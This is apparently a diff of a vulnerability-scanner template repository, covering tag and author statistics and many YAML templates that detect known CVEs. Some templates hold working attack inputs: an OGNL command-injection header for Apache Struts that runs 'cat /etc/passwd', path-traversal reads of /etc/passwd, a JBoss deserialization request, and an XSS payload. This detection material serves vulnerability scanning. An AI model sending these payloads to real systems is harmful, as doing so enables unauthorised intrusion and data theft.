+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**340 directories, 5395 files**.
+**335 directories, 5229 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1604},{"name":"panel","count":850},{"name":"wordpress","count":690},{"name":"exposure","count":598},{"name":"edb","count":587},{"name":"tech","count":585},{"name":"wp-plugin","count":585},{"name":"xss","count":563},{"name":"lfi","count":525},{"name":"cve2021","count":377},{"name":"rce","count":360},{"name":"packetstorm","count":306},{"name":"cve2022","count":299},{"name":"wpscan","count":272},{"name":"misconfig","count":270},{"name":"token-spray","count":239},{"name":"cve2020","count":226},{"name":"unauth","count":219},{"name":"wp","count":205},{"name":"top-200","count":202},{"name":"","count":196},{"name":"config","count":179},{"name":"kev","count":173},{"name":"cve2018","count":148},{"name":"iot","count":144},{"name":"default-login","count":141},{"name":"cve2019","count":138},{"name":"joomla","count":135},{"name":"apache","count":135},{"name":"oast","count":132},{"name":"sqli","count":129},{"name":"authenticated","count":127},{"name":"cve2010","count":112},{"name":"files","count":101},{"name":"login","count":101},{"name":"top-100","count":100},{"name":"router","count":96},{"name":"redirect","count":93},{"name":"network","count":89},{"name":"token","count":77},{"name":"ssrf","count":77},{"name":"devops","count":76},{"name":"takeover","count":74},{"name":"cve2017","count":73},{"name":"cms","count":72},{"name":"auth-bypass","count":69},{"name":"file","count":68},{"name":"install","count":68},{"name":"oracle","count":64},{"name":"disclosure","count":62},{"name":"intrusive","count":61},{"name":"seclists","count":59},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"cve2015","count":48},{"name":"google","count":48},{"name":"fileupload","count":47},{"name":"adobe","count":46},{"name":"aem","count":43},{"name":"logs","count":43},{"name":"vmware","count":41},{"name":"hackerone","count":41},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"atlassian","count":40},{"name":"debug","count":40},{"name":"vulhub","count":38},{"name":"tenable","count":37},{"name":"springboot","count":36},{"name":"traversal","count":35},{"name":"injection","count":35},{"name":"generic","count":34},{"name":"jira","count":33},{"name":"listing","count":32},{"name":"huntr","count":32},{"name":"kubernetes","count":31},{"name":"dns","count":28},{"name":"sap","count":27},{"name":"aws","count":26},{"name":"log4j","count":26},{"name":"microsoft","count":25},{"name":"misc","count":25},{"name":"cnvd","count":25},{"name":"php","count":23},{"name":"zoho","count":23},{"name":"proxy","count":23},{"name":"manageengine","count":23},{"name":"jndi","count":23},{"name":"fuzz","count":22},{"name":"cloud","count":21},{"name":"cve2012","count":21},{"name":"api","count":21},{"name":"wp-theme","count":21},{"name":"k8s","count":20},{"name":"cicd","count":20},{"name":"tomcat","count":20},{"name":"deserialization","count":20},{"name":"ibm","count":20},{"name":"weblogic","count":20},{"name":"dlink","count":19},{"name":"struts","count":19},{"name":"camera","count":19},{"name":"gitlab","count":18},{"name":"jenkins","count":17},{"name":"ftp","count":17},{"name":"service","count":17},{"name":"wavlink","count":17},{"name":"firewall","count":17},{"name":"amazon","count":16},{"name":"printer","count":16},{"name":"msf","count":16},{"name":"admin","count":16},{"name":"fortinet","count":16},{"name":"backup","count":15},{"name":"status","count":15},{"name":"xxe","count":15},{"name":"lfr","count":15},{"name":"nginx","count":15},{"name":"android","count":15},{"name":"cve2009","count":15},{"name":"cve2011","count":15},{"name":"hp","count":14},{"name":"jboss","count":14},{"name":"domainmod","count":14},{"name":"java","count":14},{"name":"woocommerce","count":13},{"name":"fortigate","count":13},{"name":"abstractapi","count":13},{"name":"cve2008","count":13},{"name":"confluence","count":13},{"name":"magento","count":13},{"name":"github","count":13},{"name":"cve2013","count":13},{"name":"netsweeper","count":12},{"name":"netgear","count":12},{"name":"vpn","count":12},{"name":"mail","count":12},{"name":"graphql","count":12},{"name":"microweber","count":12},{"name":"rails","count":12},{"name":"ruijie","count":12},{"name":"drupal","count":12},{"name":"zyxel","count":12},{"name":"azure","count":11},{"name":"cnvd2021","count":11},{"name":"ssl","count":11},{"name":"airflow","count":11},{"name":"backdoor","count":11},{"name":"webserver","count":11},{"name":"cisa","count":11},{"name":"glpi","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"laravel","count":10},{"name":"coldfusion","count":10},{"name":"grafana","count":10},{"name":"jolokia","count":10},{"name":"setup","count":10},{"name":"dell","count":10},{"name":"spring","count":10},{"name":"ruby","count":10},{"name":"symfony","count":9},{"name":"npm","count":9},{"name":"phpmyadmin","count":9},{"name":"ssh","count":9},{"name":"versa","count":9},{"name":"scada","count":9},{"name":"iis","count":9},{"name":"sonicwall","count":9},{Line truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1604 | dhiyaneshdk  |   727 | cves             |  1583 | info     |  2038 | http    |  4772 |
-| panel     |   850 | daffainfo    |   662 | exposed-panels   |   835 | high     |  1166 | network |    86 |
-| wordpress |   690 | pikpikcu     |   348 | technologies     |   548 | medium   |   892 | file    |    80 |
-| exposure  |   598 | pdteam       |   274 | vulnerabilities  |   536 | critical |   592 | dns     |    18 |
-| edb       |   587 | geeknik      |   221 | misconfiguration |   412 | low      |   260 |         |       |
-| wp-plugin |   585 | ricardomaia  |   212 | exposures        |   331 | unknown  |    25 |         |       |
-| tech      |   585 | pussycat0x   |   205 | token-spray      |   239 |          |       |         |       |
-| xss       |   563 | ritikchaddha |   191 | workflows        |   190 |          |       |         |       |
-| lfi       |   525 | 0x_akoko     |   175 | default-logins   |   124 |          |       |         |       |
-| cve2021   |   377 | dwisiswant0  |   171 | file             |    80 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
@@ -34,7 +34,7 @@ requests:
        internal: true
        group: 1
        regex:
-          - '"verify_string":"(.*?)"'
+          - '"verify_string":"(.*)"'

    req-condition: true
    matchers:
@@ -1,41 +0,0 @@
-id: CVE-2010-1429
-
-info:
-  name: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure
-  author: R12W4N
-  severity: medium
-  description: |
-    Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
-  reference:
-    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
-    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2010-1429
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: title:"JBoss"
-    verified: "true"
-  tags: cve,cve2010,jboss,eap,tomcat,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/status?full=true"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "JVM"
-          - "memory"
-          - "localhost/"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,22 +1,18 @@
 id: CVE-2012-0394

 info:
-  name: Apache Struts <2.3.1.1 - Remote Code Execution
+  name: Apache Struts Dev Mode OGNL Injection
  author: tess
  severity: critical
  description: |
-    Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
+    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  reference:
    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
    - https://www.exploit-db.com/exploits/31434
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
    - http://www.exploit-db.com/exploits/18329
-    - https://nvd.nist.gov/vuln/detail/CVE-2012-0394
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
    cve-id: CVE-2012-0394
-    cwe-id: CWE-77
  metadata:
    shodan-query: html:"Struts Problem Report"
    verified: "true"
@@ -41,5 +37,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,38 +0,0 @@
-id: CVE-2015-2996
-
-info:
-  name: SysAid Help Desk <15.2 - Local File Disclosure
-  author: 0x_Akoko
-  severity: high
-  description: |
-    Multiple directory traversal vulnerabilities in SysAid Help Desk before 15.2 allow remote attackers to (1) read arbitrary files via a .. (dot dot) in the fileName parameter to getGfiUpgradeFile or (2) cause a denial of service (CPU and memory consumption) via a .. (dot dot) in the fileName parameter to calculateRdsFileChecksum.
-  reference:
-    - https://seclists.org/fulldisclosure/2015/Jun/8
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-2996
-    - https://www.sysaid.com/blog/entry/sysaid-15-2-your-voice-your-service-desk
-    - http://seclists.org/fulldisclosure/2015/Jun/8
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2015-2996
-    cwe-id: CWE-22
-  metadata:
-    shodan-query: http.favicon.hash:1540720428
-  tags: cve,cve2015,sysaid,lfi,seclists
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
-      - "{{BaseURL}}/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: regex
-        regex:
-          - "root:[x*]:0:0"
-
-      - type: status
-        status:
-          - 200
@@ -1,10 +1,10 @@
 id: CVE-2016-6601

 info:
-  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
+  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
  author: 0x_Akoko
  severity: high
-  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
+  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
    - https://www.exploit-db.com/exploits/40229/
@@ -30,5 +30,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,32 +0,0 @@
-id: CVE-2017-1000163
-
-info:
-  name: Phoenix Framework - Open Redirect
-  author: 0x_Akoko
-  severity: medium
-  description: Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 contain an open redirect vulnerability, which may result in phishing or social engineering attacks.
-  reference:
-    - https://elixirforum.com/t/security-releases-for-phoenix/4143
-    - https://www.cvedetails.com/cve/CVE-2017-1000163
-    - https://vuldb.com/?id.109587
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000163
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2017-1000163
-    cwe-id: CWE-601
-  tags: cve,cve2017,redirect,phoenix
-
-requests:
-  - method: GET
-
-    path:
-      - '{{BaseURL}}/?redirect=/\interact.sh'
-
-    matchers:
-      - type: regex
-        regex:
-          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
-        part: header
-
-# Enhanced by md on 2023/02/08
@@ -15,7 +15,7 @@ info:
    cvss-score: 8.2
    cve-id: CVE-2017-10075
  metadata:
-    google-query: inurl:"/cs/idcplg"
+    google-dork: inurl:"/cs/idcplg"
    verified: "true"
  tags: cve,cve2017,xss,oracle

@@ -1,47 +0,0 @@
-id: CVE-2017-11165
-
-info:
-  name: DataTaker DT80 dEX 1.50.012 - Information Disclosure
-  author: theabhinavgaur
-  severity: critical
-  description: |
-    DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.
-  reference:
-    - https://www.exploit-db.com/exploits/45094
-    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
-    - https://www.exploit-db.com/exploits/42313/
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2017-11165
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.title:"datataker"
-    verified: "true"
-  tags: lfr,edb,cve,cve2017,datataker,config,packetstorm,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "COMMAND_SERVER"
-          - "<loggerSettings>"
-          - "config id=\"config"
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - "text/xml"
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by md on 2023/01/30
@@ -2,7 +2,7 @@ id: CVE-2017-12149

 info:
  name: Jboss Application Server - Remote Code Execution
-  author: fopina,s0obi
+  author: fopina
  severity: critical
  description: Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because  the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.
  reference:
@@ -33,13 +33,6 @@ requests:

        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}

-      - |
-        POST /invoker/readonly HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/octet-stream
-
-        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
-
    matchers-condition: and
    matchers:
      - type: word
@@ -47,9 +40,9 @@ requests:
        words:
          - "ClassCastException"

-      - type: status
-        status:
-          - 200
-          - 500
+      - type: word
+        part: header
+        words:
+          - "application/x-java-serialized-object"

 # Enhanced by mp on 2022/05/11
@@ -1,16 +1,16 @@
 id: CVE-2017-14186

 info:
-  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
  author: johnk3r
  severity: medium
  description: |
-    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
@@ -40,5 +40,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/11
@@ -1,15 +1,15 @@
 id: CVE-2017-5487

 info:
-  name: WordPress Core <4.7.1 - Username Enumeration
+  name: WordPress Core < 4.7.1 - Username Enumeration
  author: Manas_Harsh,daffainfo,geeknik,dr0pd34d
  severity: medium
-  description: WordPress Core before 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows a remote attacker to obtain sensitive information via a wp-json/wp/v2/users request.
+  description: WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
  reference:
    - https://www.exploit-db.com/exploits/41497
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
    - https://www.wordfence.com/blog/2016/12/wordfence-blocks-username-harvesting-via-new-rest-api-wp-4-7/
    - https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -54,5 +54,3 @@ requests:
        json:
          - '.[] | .slug'
          - '.[].name'
-
-# Enhanced by md on 2023/01/30
@@ -4,36 +4,32 @@ info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
-  description: |
-    Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  reference:
    - https://github.com/mazen160/struts-pwn
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
-  metadata:
-    shodan-query: html:"Apache Struts"
-    verified: "true"
-  tags: cve,cve2017,apache,kev,msf,struts,rce
+  tags: apache,kev,msf,cve,cve2017,struts,rce

 requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
-        Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
+        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

-    matchers-condition: and
    matchers:
-      - type: regex
-        regex:
-          - "root:.*:0:0:"
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header

-      - type: status
-        status:
-          - 200
+# Enhanced by mp on 2022/04/26
@@ -1,51 +0,0 @@
-id: CVE-2018-11227
-
-info:
-  name: Monstra CMS <=3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/438
-    - https://www.exploit-db.com/exploits/44646
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2018-11227
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.favicon.hash:419828698
-    verified: "true"
-  tags: cve,cve2018,xss,mostra,mostracms,cms,edb
-
-requests:
-  - raw:
-      - |
-        POST /admin/index.php?id=pages HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "><svg/onload=alert(document.domain)>"
-          - "Monstra"
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,15 +1,15 @@
 id: CVE-2018-11409

 info:
-  name: Splunk <=7.0.1 - Information Disclosure
+  name: Splunk Sensitive Information Disclosure
  author: harshbothra_
  severity: medium
-  description: Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
+  description: Splunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
    - https://github.com/kofa2002/splunk
    - https://www.exploit-db.com/exploits/44865/
    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -30,5 +30,3 @@ requests:
      - type: word
        words:
          - licenseKeys
-
-# Enhanced by md on 2023/01/30
@@ -1,65 +0,0 @@
-id: CVE-2018-11473
-
-info:
-  name: Monstra CMS 3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/446
-    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
